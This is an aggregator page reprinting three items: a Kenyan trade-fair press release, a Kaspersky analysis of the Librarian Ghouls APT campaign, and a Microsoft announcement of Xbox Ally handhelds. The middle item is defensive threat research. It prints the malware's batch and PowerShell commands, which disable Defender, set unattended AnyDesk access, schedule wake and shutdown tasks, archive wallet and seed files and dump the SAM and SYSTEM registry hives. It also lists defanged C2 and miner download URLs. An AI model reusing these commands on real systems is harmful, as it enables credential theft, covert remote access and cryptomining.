    Speaking during the Kenya IATF2025 Business Roadshow event, Kenya’s Cabinet Secretary, Ministry of Investments, Trade and Industry, Hon. Lee Kinyanjui said the government is positioning and consolidating Kenya as a Trade, industrial and innovation hub to strategically tap into trade and investment opportunities presented by AfCFTA.

    “The solutions to Africa’s problems lie with Africans. It is essential for countries within the continent to strengthen intra-African trade.

    The IATF 2025 offers a vital platform to advance the AfCFTA agenda. With a well-educated population, abundant resources, and banks ready to finance investment, Africa has what it takes to elevate itself to the next level.,” the Cabinet Secretary said.

    The Kenya IATF2025 Business Roadshow attracted over 200 members of Kenya’s business community, including buyers, creatives, automotive sector players, policymakers and investors together with executives and officials of African Export-Import Bank (Afreximbank) and African Union Commission (AUC). It focused on exploring ways of promoting intra-African trade. The theme was Harnessing Regional and Continental Value Chains: Accelerating Africa’s Industrialisation and Global Competitiveness under the AfCFTA.

    Harnessing regional and continental value chains under the AfCFTA is crucial for Africa’s industrial growth and global competitiveness. By creating a large, integrated market, the AfCFTA encourages countries to tap into the continental market by scaling up productive capacity and add value to products, create an enabling environment, attracting investment and creating jobs. This boosts economic diversification, expand productive base, and supports Africa’s vision for sustainable and inclusive development.

    The roadshow is one of the five in the series of planned for Nairobi, Accra, Johannesburg, Lagos and Algiers ahead of the fourth edition of the biennial Intra-African Trade Fair (IATF2025) that will be held in Algiers, Algeria from 4 – 10 September 2025 under the theme Gateway to New Opportunities. IATF is Africa’s premier trade and investment event that serves as a crucial platform for fostering economic growth, collaboration, and innovation across the continent. Over the years, the IATF has established a track record as the premier African trade and investment platform and has achieved significant milestones since it was established in 2018 as an instrument to implement the AfCFTA Agreement. Hosted by the Government of Algeria and promoted by Afreximbank, in collaboration with the African Union Commission and the AfCFTA Secretariat, the IATF2025 event will provide businesses from Africa and beyond with a platform to showcase their goods and services and exchange trade and investment information.

    Addressing the forum, Afreximbank’s Executive Vice President, Global Trade Bank, Mr. Haytham Elmaayergi said: “One of the key objectives of the IATF is to address access to trade and market information for intra-African trade to take place. For instance, as a result of a lack of information on African production and supply, countries like Tunisia, Morocco and South Africa import in excess of around US$400 million worth of leather products, mainly from Europe and South America, while countries like Ethiopia, Kenya, and Sudan—which have the supply capacity to meet a substantial part of this demand—continue to export their leather products to markets in Europe and Asia.”

    “Kenya has rapidly emerged as a major force in digitalisation and innovation, both within the region and across Africa. The IATF presents a great opportunity for Kenyan Fintech companies, mobile money innovators and other technology companies to come together and showcase their ingenuity to diverse sectors on the continent. It could potentially help them scale beyond the Kenyan borders as well as attract investment to their respective businesses.” added Mr. Elmaayergi. 

    Mr Elmaayergi made a clarion call for businesses, public and private sector in Kenya to participate and showcase their goods and services in IATF2025, where more than 2,000 exhibitors, including businesses from the African continent and globally, will exchange trade, market and investment information and showcase their goods and services to over 35,000 visitors and buyers from more than 140 countries. This is projected to translate into over US$44 billion in trade and investment deals.

    IATF is a platform for boosting trade and investment in Africa. In the last three editions of IATF, over $100 billion in trade and investment deals have been closed cumulatively with over 70,000 visitors and more than 4,500 exhibitors participating.

    Some of the activities lined up for the week-long IATF2025 include a trade exhibition by countries and businesses; the Creative Africa Nexus (CANEX) programme with a dedicated exhibition and summit on fashion, music, film, arts and craft, sports, literature, gastronomy and culinary arts; a four-day Trade and Investment Forum featuring leading African and international speakers; and the Africa Automotive Show for auto manufacturers, assemblers, original equipment manufacturers and component suppliers.

    Special Days will also be held, dedicated for countries as well as public and private entities to showcase trade and investment opportunities, and tourism and cultural attractions, as well as Global Africa Day to highlight commercial and cultural ties between Africa and its diaspora, featuring a Diaspora Summit, market and exhibition, cultural and gastronomic showcase.

    Also planned is a business-to-business (B2B) and business-to-government (B2G) platform for matchmaking and business exchanges; the AU Youth Start-Up programme showcasing innovative ideas and prototypes; the Africa Research and Innovation Hub @ IATF targeting university students, academia and national researchers to exhibit their innovations and research projects; and the African Sub-Sovereign Governments Network (AfSNET) to promote trade, investment, educational and cultural exchanges at the local level. The IATF Virtual platform is already live, connecting exhibitors and visitors throughout the year.

    To participate in IATF2025 please visit www.IntraAfricanTradeFair.com.

    MIL OSI Africa –

    June 10, 2025
  • MIL-OSI Economics: Sleep with one eye open: how Librarian Ghouls steal data by night

    Source: Securelist – Kaspersky

    Headline: Sleep with one eye open: how Librarian Ghouls steal data by night

    Introduction

    Librarian Ghouls, also known as “Rare Werewolf” and “Rezet”, is an APT group that targets entities in Russia and the CIS. Other security vendors are also monitoring this APT and releasing analyses of its campaigns. The group has remained active through May 2025, consistently targeting Russian companies.

    A distinctive feature of this threat is that the attackers favor using legitimate third-party software over developing their own malicious binaries. The malicious functionality of the campaign described in this article is implemented through command files and PowerShell scripts. The attackers establish remote access to the victim’s device, steal credentials, and deploy an XMRig crypto miner in the system.

    Our research has uncovered new tools within this APT group’s arsenal, which we will elaborate on in this article.

    Technical details

    Initial infection vector

    Attacks by Librarian Ghouls continued almost unabated throughout 2024. We observed a slight decline in the group’s activity in December, followed immediately by a new wave of attacks, which is ongoing. The group’s primary initial infection vector involves targeted phishing emails that contain password-protected archives with executable files inside. These malicious emails are typically disguised as messages from legitimate organizations, containing attachments that appear to be official documents. The infection process is as follows: the victim opens the attached archive (the password is usually provided in the email body), extracts the files inside, and opens them.

    We managed to get hold of a malicious implant from an archive disguised as a payment order. The sample is a self-extracting installer made with the Smart Install Maker utility for Windows.

    The installer contains three files: an archive, a configuration file, and an empty file irrelevant for our analysis. They are later renamed into data.cab, installer.config and runtime.cab respectively.

    The primary malicious logic resides in the installer’s configuration file. It uses a variety of registry modification commands to automatically deploy the legitimate window manager, 4t Tray Minimizer, onto the system. This software can minimize running applications to the system tray, allowing attackers to obscure their presence on the compromised system.

    Once 4t Tray Minimizer is installed, the installer pulls three files from data.cab and puts them into the C:Intel directory, specifically at:

    File Name when archived Path on the infected system
    Legitimate PDF as a decoy 0  IntelPayment Order # 131.pdf
    Legitimate curl utility executable 1 Intelcurl.exe
    LNK file 2 IntelAnyDeskbat.lnk

    The PDF decoy resembles an order to pay a minor amount:

    PDF document imitating a payment order

    rezet.cmd

    Once data.cab is unpacked, the installer generates and executes a rezet.cmd command file, which then reaches out to the C2 server downdown[.]ru, hosting six files with the JPG extension. rezet.cmd downloads these to C:Intel, changing their file extensions to: driver.exe, blat.exe, svchost.exe, Trays.rar, wol.ps1, and dc.exe.

    • driver.exe is a customized build of rar.exe, the console version of WinRAR 3.80. This version has had user dialog strings removed: it can execute commands but provides no meaningful output to the console.
    • blat.exe is Blat, a legitimate utility for sending email messages and files via SMTP. Attackers use this to send data they steal to an email server they control.
    • svchost.exe is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.
    • dc.exe is Defender Control, which allows disabling Windows Defender.

    After downloading the files, the script uses the specified password and the driver.exe console utility to extract Trays.rar into the same C:Intel directory and run the unpacked Trays.lnk. This shortcut allows starting 4t Tray Minimizer minimized to the tray.

    Next, the script installs AnyDesk on the compromised device and downloads a bat.bat file from the C2 server to C:IntelAnyDesk. Finally, rezet.cmd runs bat.lnk, which was previously extracted from data.cab.

    bat.bat

    Opening the bat.lnk shortcut runs the bat.bat batch file, which executes a series of malicious actions.

    Disabling security measures and a scheduled task

    First, the BAT file sets the password QWERTY1234566 for AnyDesk, which allows the attackers to connect to the victim’s device without asking for confirmation.

    Next, the script uses the previously downloaded Defender Control (dc.exe) application to disable Windows Defender.

    To verify that the victim’s computer is on and available for remote connections, the batch file runs the powercfg utility six times with different parameters. This utility controls the local machine’s power settings.

    Next, bat.bat runs the schtasks utility to create a ShutdownAt5AM scheduler task, which shuts down the victim’s PC every day at 5 AM as the name suggests. It is our assessment that the attackers use this technique to cover their tracks so that the user remains unaware that their device has been hijacked.

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    echo QWERTY1234566 | AnyDesk.exe —set–password _unattended_access

    %SYSTEMDRIVE%Inteldc.exe /D

    powercfg –setacvalueindex SCHEME_CURRENT 4f971e89–eebd–4455–a8de–9e59040e7347 5ca83367–6e45–459f–a27b–476b1d01c936 0

    powercfg –change –standby–timeout–ac 0

    powercfg –change –hibernate–timeout–ac 0

    powercfg –h off

    powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8–0aad–41ed–83f4–97be242c8f20 bd3b718a–0680–4d9d–8ab2–e1d2b4ac806d 1

    powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8–0aad–41ed–83f4–97be242c8f20 bd3b718a–0680–4d9d–8ab2–e1d2b4ac806d 1

    schtasks /create /tn “ShutdownAt5AM” /tr “shutdown /s /f /t 0” /sc daily /st 05:00

    Disabling security measures and the power management configuration in bat.bat

    Wakeup script and data theft

    Next, the batch file executes the wol.ps1 script via PowerShell.

    1

    2

    3

    4

    5

    6

    7

    $Action = New–ScheduledTaskAction –Execute “C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe”

    $Trigger = New–ScheduledTaskTrigger –Daily –At “01:00AM”

    $Principal = New–ScheduledTaskPrincipal –UserId “SYSTEM” –LogonType ServiceAccount –RunLevel Highest

    # Creating task settings

    $TaskSettings = New–ScheduledTaskSettingsSet –AllowStartIfOnBatteries –DontStopIfGoingOnBatteries –StartWhenAvailable –WakeToRun

    # Registering task in Task Scheduler

    Register–ScheduledTask –Action $Action –Principal $Principal –Trigger $Trigger –TaskName “WakeUpAndLaunchEdge” –Settings $TaskSettings –Force

    Contents of the “wol.ps1” script

    This script launches Microsoft Edge every day at 1 AM. We found no evidence of msedge.exe being replaced or compromised, leading us to believe it is a genuine Microsoft Edge executable. This daily browser activation wakes the victim’s computer, giving attackers a four-hour window to establish unauthorized remote access with AnyDesk before the scheduled task shuts the machine down at 5 AM.

    Following the execution of the PowerShell script, bat.bat removes the curl utility, the Trays.rar archive, and the AnyDesk installer. The attackers no longer need these components: at this stage of the infection, all necessary malicious files and third-party utilities have been downloaded with curl, Trays.rar has been unpacked, and AnyDesk has been installed on the device.

    After that, the batch file sets environment variables for Blat. These variables contain, among other things, the email addresses where the victim’s data will be sent and the passwords for these accounts.

    The next step is to collect information stored on the device that is of interest to the attackers:

    • Cryptocurrency wallet credentials and seed phrases
    • Dumps of the HKLMSAM and HKLMSYSTEM registry keys made with reg.exe

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    20

    21

    22

    23

    24

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*парол*.* /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*карт*.* /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*кошельк*.* /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:wallet.dat /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*wallet*.doc* /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*wallet*.txt /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*seed*.* /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:keystore.json /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*bitcoin*.* /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*usdt*.* /y

    %SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar  C:*ethereum*.* /y

    reg save hklmsam %SYSTEMDRIVE%Intelsam.backup

    reg save hklmsystem %SYSTEMDRIVE%Intelsystem.backup

    Data collection by bat.bat

    The BAT file uses driver.exe to pack data it has collected into two separate password-protected archives. Then, the script runs blat.exe to send the victim’s data and AnyDesk configuration files to the attackers via SMTP.

    Miner installation and self-deletion

    Next, bat.bat deletes the files generated during the attack from the C:Intel folder and installs a crypto miner on the compromised system. To do this, the script creates a bm.json configuration file containing the mining pool address and the attackers’ identifier, and then downloads install.exe from hxxp://bmapps[.]org/bmcontrol/win64/Install.exe.

    install.exe is an installer that checks for the JSON configuration file and the bmcontrol.exe process in the system. If the process is detected, the installer terminates it.

    Then, install.exe downloads an archive with mining tools from hxxps://bmapps[.]org/bmcontrol/win64/app-1.4.zip.

    The archive contains the following files:

    • _install.exe: a new version of the installer. While the samples in the attacks we analyzed were identical, we suspect the attackers have a scenario for updating the malware.
    • bmcontrol.exe: miner controller
    • run.exe, stop.cmd, uninstall.cmd: tools for starting, stopping, and removing the controller
    • XMRig miner

    Depending on the parameters of the JSON file, the unmodified original installer file is used, or _install.exe is renamed to install.exe and run. After that, the installer adds run.exe to autorun. This utility checks for an already running bmcontrol.exe controller on the compromised system, and if it doesn’t find one, runs it from the downloaded archive.

    Once running, bmcontrol.exe creates two processes: master and worker. The master process launches and constantly monitors the worker, and also restarts it if the latter quits unexpectedly. In addition, the master passes the JSON configuration file to the worker process.

    Before launching the XMRig miner, the worker process collects the following system information:

    1. Available CPU cores
    2. Available RAM
    3. GPU

    This data is used to configure the miner on the compromised device and also sent to the attackers’ server. While XMRig is running, the worker maintains a connection to the mining pool, sending a request every 60 seconds.

    After installing the miner on the system, bat.bat removes itself from the victim’s device.

    Legitimate software utilized by the attackers

    It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult. We have seen this pattern in current campaigns by various APT groups, in particular in the Likho cluster.

    Beyond the utilities discussed above, we also identified the following software in Librarian Ghouls attacks:

    • Mipko Personal Monitor: a DLP system that the attackers use to monitor the victim. The application can collect screenshots and record keystrokes among other things.
    • WebBrowserPassView: a password recovery utility that can extract passwords stored in web browsers. The attackers use this to steal victims’ credentials.
    • ngrok: a global reverse proxy that secures and accelerates network services. Used by the attackers to connect to target machines.
    • NirCmd: a legitimate utility that facilitates various OS tasks without a visible user interface. The attackers use this to covertly run scripts and executables.

    Phishing campaign

    Our investigation revealed several domains that we assess with low confidence to be associated with the ongoing Librarian Ghouls campaign. At the time of the investigation, some of them remained active, including users-mail[.]ru and deauthorization[.]online. These domains hosted phishing pages, generated with PHP scripts and designed to harvest credentials for the mail.ru email service.

    Example of a phishing page associated with the APT campaign

    Infrastructure

    The implant detailed in this article communicated with the command-and-control servers downdown[.]ru and dragonfires[.]ru. Both resolve to the IP address 185.125.51[.]5.

    Our analysis of the attackers’ infrastructure revealed a notable characteristic: several malicious web servers associated with this campaign had directory listing enabled, allowing us to inspect files they stored.

    Directory listing on a malicious server

    Victims

    Our telemetry indicated that, during the investigation period, hundreds of Russian users fell victim to this campaign. It primarily focuses on industrial enterprises, with engineering schools also being a target of interest. Furthermore, the attacks described also impacted users in Belarus and Kazakhstan.

    The phishing emails are notably composed in Russian and include archives with Russian filenames, along with Russian-language decoy documents. This suggests that the primary targets of this campaign are likely based in Russia or speak Russian.

    About the attackers

    Librarian Ghouls APT exhibits traits commonly associated with hacktivist groups, such as the use of self-extracting archives and a reliance on legitimate, third-party utilities rather than custom-built malware binary modules.

    Since the beginning of the current campaign in December 2024, we have seen frequent updates to the implants, which vary in configuration files and the bundled sets of legitimate utilities. At the time of publishing this, our data encompassed over 100 malicious files connected to this campaign.

    Takeaways

    At the time of this report’s release, the Librarian Ghouls APT campaign described in it is still active, as evidenced by attacks we observed in May 2025. Consistent with previous activity, the attackers leverage third-party legitimate utilities rather than developing custom tools. All of the malicious functionality still relies on installer, command, and PowerShell scripts. We observe that the attackers are continuously refining their tactics, encompassing not only data exfiltration but also the deployment of remote access tools and the use of phishing sites for email account compromise. We constantly monitor this threat actor and will continue to share up-to-date information about its activity.

    Indicators of compromise

    * Additional indicators of compromise and a YARA rule for detecting Librarian Ghouls activity are available to customers of our APT Intelligence Reporting service. Contact intelreports@kaspersky.com for more details.

    Implants

    d8edd46220059541ff397f74bfd271336dda702c6b1869e8a081c71f595a9e68
    2f3d67740bb7587ff70cc7319e9fe5c517c0e55345bf53e01b3019e415ff098b
    de998bd26ea326e610cc70654499cebfd594cc973438ac421e4c7e1f3b887617
    785a5b92bb8c9dbf52cfda1b28f0ac7db8ead4ec3a37cfd6470605d945ade40e
    c79413ef4088b3a39fe8c7d68d2639cc69f88b10429e59dd0b4177f6b2a92351
    53fd5984c4f6551b2c1059835ea9ca6d0342d886ba7034835db2a1dd3f8f5b04

    Implant configuration files

    f8c80bbecbfb38f252943ee6beec98edc93cd734ec70ccd2565ab1c4db5f072f
    4d590a9640093bbda21597233b400b037278366660ba2c3128795bc85d35be72
    1b409644e86559e56add5a65552785750cd36d60745afde448cce7f6f3f09a06
    7c4a99382dbbd7b5aaa62af0ccff68aecdde2319560bbfdaf76132b0506ab68a
    702bf51811281aad78e6ca767586eba4b4c3a43743f8b8e56bb93bc349cb6090
    311ec9208f5fe3f22733fca1e6388ea9c0327be0836c955d2cf6a22317d4bdca

    Malicious archive attachments

    fd58900ea22b38bad2ef3d1b8b74f5c7023b8ca8a5b69f88cfbfe28b2c585baf
    e6ea6ce923f2eee0cd56a0874e4a0ca467711b889553259a995df686bd35de86
    6954eaed33a9d0cf7e298778ec82d31bfbdf40c813c6ac837352ce676793db74

    Malicious BAT files

    e880a1bb0e7d422b78a54b35b3f53e348ab27425f1c561db120c0411da5c1ce9
    c353a708edfd0f77a486af66e407f7b78583394d7b5f994cd8d2e6e263d25968
    636d4f1e3dcf0332a815ce3f526a02df3c4ef2890a74521d05d6050917596748
    c5eeec72b5e6d0e84ff91dfdcbefbbbf441878780f887febb0caf3cbe882ec72
    8bdb8df5677a11348f5787ece3c7c94824b83ab3f31f40e361e600576909b073
    2af2841bf925ed1875faadcbb0ef316c641e1dcdb61d1fbf80c3443c2fc9454f

    Decoy documents

    cab1c4c675f1d996b659bab1ddb38af365190e450dec3d195461e4e4ccf1c286
    dfac7cd8d041a53405cc37a44f100f6f862ed2d930e251f4bf22f10235db4bb3
    977054802de7b583a38e0524feefa7356c47c53dd49de8c3d533e7689095f9ac
    65f7c3e16598a8cb279b86eaeda32cb7a685801ed07d36c66ff83742d41cd415
    a6ff418f0db461536cff41e9c7e5dba3ee3b405541519820db8a52b6d818a01e
    6c86608893463968bfda0969aa1e6401411c0882662f3e70c1ac195ee7bd1510

    Malicious PS1 scripts

    8b6afbf73a9b98eec01d8510815a044cd036743b64fef955385cbca80ae94f15
    7d6b598eaf19ea8a571b4bd79fd6ff7928388b565d7814b809d2f7fdedc23a0a
    01793e6f0d5241b33f07a3f9ad34e40e056a514c5d23e14dc491cee60076dc5a

    Miner installer (install.exe)
    649ee35ad29945e8dd6511192483dddfdfe516a1312de5e0bd17fdd0a258c27f

    Miner controller (bmcontrol.exe)
    9cce3eaae0be9b196017cb6daf49dd56146016f936b66527320f754f179c615f

    Miner launcher (run.exe)
    d7bcab5acc8428026e1afd694fb179c5cbb74c5be651cd74e996c2914fb2b839

    Legitimate software

    AnyDesk
    Blat
    curl
    Defender Control
    Customized RAR 3.80
    AnyDesk
    Mipko Personal Monitor
    ngrok
    NirCmd
    4t Tray Minimizer
    WebBrowserPassView

    Librarian Ghouls malicious domains

    vniir[.]space
    vniir[.]nl
    hostingforme[.]nl
    mail-cheker[.]nl
    unifikator[.]ru
    outinfo[.]ru
    anyhostings[.]ru
    center-mail[.]ru
    redaction-voenmeh[.]info
    acountservices[.]nl
    accouts-verification[.]ru
    office-email[.]ru
    email-office[.]ru
    email-informer[.]ru
    office-account[.]ru
    deauthorization[.]online
    anyinfos[.]ru
    verifikations[.]ru
    claud-mail[.]ru
    users-mail[.]ru
    detectis[.]ru
    supersuit[.]site
    downdown[.]ru
    dragonfires[.]ru
    bmapps[.]org

    MIL OSI Economics –

    June 10, 2025
  • MIL-OSI Economics: New handhelds combine the power of Xbox with the freedom of Windows 11

    Source: Microsoft

    Headline: New handhelds combine the power of Xbox with the freedom of Windows 11

    Summary

    • Announcing the ROG Xbox Ally and ROG Xbox Ally X, two new handhelds crafted in collaboration with ASUS that combine the power of Xbox with the freedom you expect from Windows.
    • Both launch holiday 2025 in select markets, with additional markets to follow.
    • Information on pre-orders, pricing, accessories, and more coming soon.

    Everything at Xbox starts with the player. That’s why we’ve dedicated years to reimagining how to make it easier to enjoy the games you love—wherever you are—through Xbox Play Anywhere, Game Pass, Xbox Cloud Gaming (Beta), Remote Play, and more. Whether you’re at home or on the go, your favorite games should follow you.

    ASUS shares that same commitment. Known for pushing the boundaries of handheld gaming, ASUS is similarly driven by innovation that delivers high-performance experiences that put players first.

    [embedded content]

    Together, we’ve combined our strengths and technical expertise to introduce something entirely new: the ROG Xbox Ally and ROG Xbox Ally X. These handhelds are built to make it easier than ever to access your favorite games—from Xbox, Battle.net, and other leading PC storefronts—all from a single device.

    This holiday, with ASUS, players can discover another way to play as we combine the power of Xbox with the freedom you expect from Windows. And this is only the beginning.

    Meet the ROG Xbox Ally and ROG Xbox Ally X

    • ROG Xbox Ally: The essential handheld at a great value for everyone from the casual player to the avid enthusiast.
    • ROG Xbox Ally X: The ultimate high-performance handheld, built for the most demanding players.

    Both handhelds allow players to play natively, via the cloud, or remotely with their Xbox console in another room.

    Next-Level Features Designed for Play Anywhere

    With the Xbox Ally and Xbox Ally X, players can look forward to an approachable gaming experience that travels with you wherever you go, featuring several new and first-of-their kind features on both devices—from an immersive Xbox full screen experience, an aggregated gaming library with access to installed games from leading PC storefronts, and more.

    We’ve optimized Windows 11 to be easy to use on the Xbox Ally and Xbox Ally X from the moment you power on. Game Bar makes it easy to return home, browse your library, launch or quit games, chat with friends, open apps, adjust settings, and more. Now, with the integration of ASUS’s innovative Armoury Crate, Game Bar also gives you streamlined access to advanced device and input controls. Details like the lock screen and task switcher have also been adjusted for easy navigation with a controller.

    Because these handhelds run Windows, you have access to games you can’t get elsewhere, so you can enjoy the full freedom and versatility of PC gaming—download games from your favorite storefront, run apps like Discord, watch your favorite streamers on Twitch, and play with your favorite mods—all straight from the Xbox experience. The choice is yours.

    Introducing the Xbox Experience for Handheld

    When you power on your Xbox Ally, you’ll boot directly into the Xbox full screen experience, a new feature optimized specifically for handheld gaming. With new modifications that minimize background activity and defer non-essential tasks, more system resources are dedicated specifically to gameplay. That means more memory, higher framerates, and a fully immersive experience for players—all made possible by the versatility and freedom of Windows.

    The Xbox Ally has more familiar Xbox touches, including:

    • Xbox button: With a dedicated Xbox button, players have access to chat, apps, and settings through an enhanced Game Bar overlay, allowing you to quickly switch between running apps and games.
    • Contoured grips: Created with player comfort in mind, and using the same design principles as Xbox Wireless Controllers, the Xbox Ally and Xbox Ally X feature contoured handgrips to accommodate a wider range of hand sizes.
    • Accessibility features: Game Bar and the Xbox app have also been optimized for handheld use, bringing along familiar accessibility features from Xbox consoles and Windows PCs, with much more to come in future.

    Easy Access to Games from Xbox, Leading PC Storefronts, and More

    Locating and accessing games across multiple channels can be a challenge —navigating through various browsers, storefronts, and login credentials can sometimes make gaming feel anything but fun. But with the Xbox Ally and Xbox Ally X, getting into the fun is easier and faster than ever.

    Within the Xbox full screen experience, players will see their aggregated gaming library, giving them quick access to games from Xbox, Game Pass, Battle.net, and other leading PC storefronts. With this new feature, your Xbox library, hundreds of Game Pass titles (membership required), and all your installed games from other PC game stores are always at your fingertips.

    We’re also making handheld gaming more seamless through our investment in Xbox Play Anywhere. With support for over 1,000 games, a single purchase means you can play with Xbox, including your progress and achievements, across Xbox console, PC and Xbox Ally—at no additional cost. And when you power on your Xbox Ally or Xbox Ally X, your favorite games are already there, ready to play. Whether you’ve been gaming on Xbox console, Xbox on PC, or in the cloud, everything syncs effortlessly. With Xbox Cloud Gaming (Beta) or Remote Play, you can access your full Xbox console library and keep playing—wherever you are.

    And yes…there’s still even more to come:

    • We’re excited to partner with Roblox for the launch of Xbox Ally. For the first time ever, Roblox will be playable natively and optimized for gaming handhelds, enabling players to play with millions of people and discover a variety of immersive games on day one.
    • We are working closely with our game developer partners on a brand-new program designed to help players easily identify which games have been optimized for handhelds, including the Xbox Ally and Xbox Ally X. We will share more details soon. 
    • Players who purchase an Xbox Ally or Xbox Ally X and are new to Game Pass will also be able to get started at no additional cost, accessing hundreds of games like Balatro, Gears Tactics, Vampire Survivors and more, straight from your device.
    • Players on either device will be able to tap into Gaming Copilot via Game Bar, a personalized gaming companion that helps you get to your favorite games faster, improve your skills, and connect you with your friends and communities.

    Two Great Choices & A First Look at Specs

    The Xbox Ally and Xbox Ally X are perfect for players looking to take an approachable gaming experience with you during travels— whether it’s between airports, or between the comfiest chairs in the living room.

    Both handhelds run on AMD processors that deliver premium gaming performance, immersive visuals, and more.

    The Xbox Ally offers great value for anyone looking to take their favorite games wherever they want to play, whether it’s Clair Obscur: Expedition 33, Gears of War: Reloaded, Lies of P, South of Midnight, or many more. It’s powered by the AMD Ryzen Z2 A Processor—balancing performance and power consumption to maximize battery life without sacrificing gameplay quality—16GB of RAM and 512GB of SSD storage.

    The Xbox Ally X offers more for players looking to get the best level of performance and visual settings from their favorite games on a handheld. It features the AMD Ryzen AI Z2 Extreme processor—allowing us to power the latest AI features as they are introduced— double the storage to have more native games at your fingertips, and 24GB of high-speed RAM that more demanding games crave. The Xbox Ally X also features impulse triggers for more immersive play.

    Here’s how the specs compare between the Xbox Ally and Xbox Ally X:

        ROG Xbox Ally   ROG Xbox Ally X  
    Operating System   Windows 11 Home   Windows 11 Home  
     Comfort & input    Contoured grips inspired by Xbox Wireless Controllers deliver all-day comfort. ABXY buttons / D-pad / L & R Hall Effect analog triggers / L & R bumpers / Xbox button / View button / Menu button / Command Center button / Library button / 2x assignable back buttons / 2x full-size analog sticks / HD haptics / 6-Axis IMU   Contoured grips inspired by Xbox Wireless Controllers deliver all-day comfort, complete with impulse triggers for enhanced control.  ABXY buttons / D-pad / L & R impulse triggers / L & R bumpers / Xbox button / View button / Menu button / Command Center button / Library button / 2x assignable back buttons / 2x full-size analog sticks / HD haptics / 6-Axis IMU  
    Processor   AMD Ryzen Z2 A Processor   AMD Ryzen AI Z2 Extreme Processor  
    Memory   16GB LPDDR5X-6400   24GB LPDDR5X-8000  
    Storage   512GB M.2 2280 SSD for easier upgrade   1TB M.2 2280 SSD for easier upgrade  
    Display   7” FHD (1080p) IPS, 500 nits, 16:9  
    120Hz refresh rate  
    FreeSync Premium  
    Corning Gorilla Glass Victus + DXC Anti-Reflection 
    7” FHD (1080p) IPS, 500 nits, 16:9  
    120Hz refresh rate  
    FreeSync Premium  
    Corning Gorilla Glass Victus + DXC Anti-Reflection 
    I/O Ports   2x USB 3.2 Gen 2 Type-C with DisplayPort 1.4 / Power Delivery 3.0   1x USB4 Type-C with DisplayPort 2.1 / Power Delivery 3.0, Thunderbolt 4 compatible  
    1x UHS-II microSD card reader (supports SD, SDXC and SDHC)   1x USB 3.2 Gen 2 Type-C with DisplayPort 2.1 / Power Delivery 3.0  
    1x 3.5mm Combo Audio Jack   1x UHS-II microSD card reader (supports SD, SDXC and SDHC; UHS-I with DDR200 mode)  
        1x 3.5mm Combo Audio Jack  
    Network and Communication   Wi-Fi 6E (2 x 2) + Bluetooth 5.4   Wi-Fi 6E (2 x 2) + Bluetooth 5.4  
    Dimensions   290.8*121.5*50.7mm   290.8*121.5*50.7mm  
    670g   715g  
    Battery   60Wh   80Wh  
    Included   ROG Xbox Ally  65W charger  Stand   ROG Xbox Ally X  65W charger  Stand  

    Pre-orders, Pricing, Accessories and More – Coming Soon

    At launch this holiday, the Xbox Ally and Xbox Ally X will be available in Australia, Belgium, Canada, Denmark, Finland, France, Germany, Ireland, Italy, Japan, Korea, Mexico, the Netherlands, New Zealand, Norway, Poland, Portugal, Saudi Arabia, Singapore, Spain, Sweden, Switzerland, Thailand, Turkey, the United Arab Emirates, the United Kingdom, and the United States, with availability to follow for other markets where ROG Ally series products are sold today.

    But that’s not the only thing to look forward to. In the coming months, we’ll share even more details about the Xbox Ally and Xbox Ally X, including pricing, compatible accessories, and pre-orders. Interested in pre-ordering? Please sign up here to be notified when pre-orders go live.

    We can’t wait to share more about the Xbox Ally and Xbox Ally X. Thank you for joining us on this journey as we continue to fulfil our vision of delivering a consistent, approachable gaming experience anywhere—and meeting more players where you want to be.

    MIL OSI Economics –

    June 10, 2025
←Previous Page
1 … 313 314 315 316 317 … 423
Next Page→
NewzIntel.com

NewzIntel.com

MIL Open Source Intelligence

  • Blog
  • About
  • FAQs
  • Authors
  • Events
  • Shop
  • Patterns
  • Themes

Twenty Twenty-Five

Designed with WordPress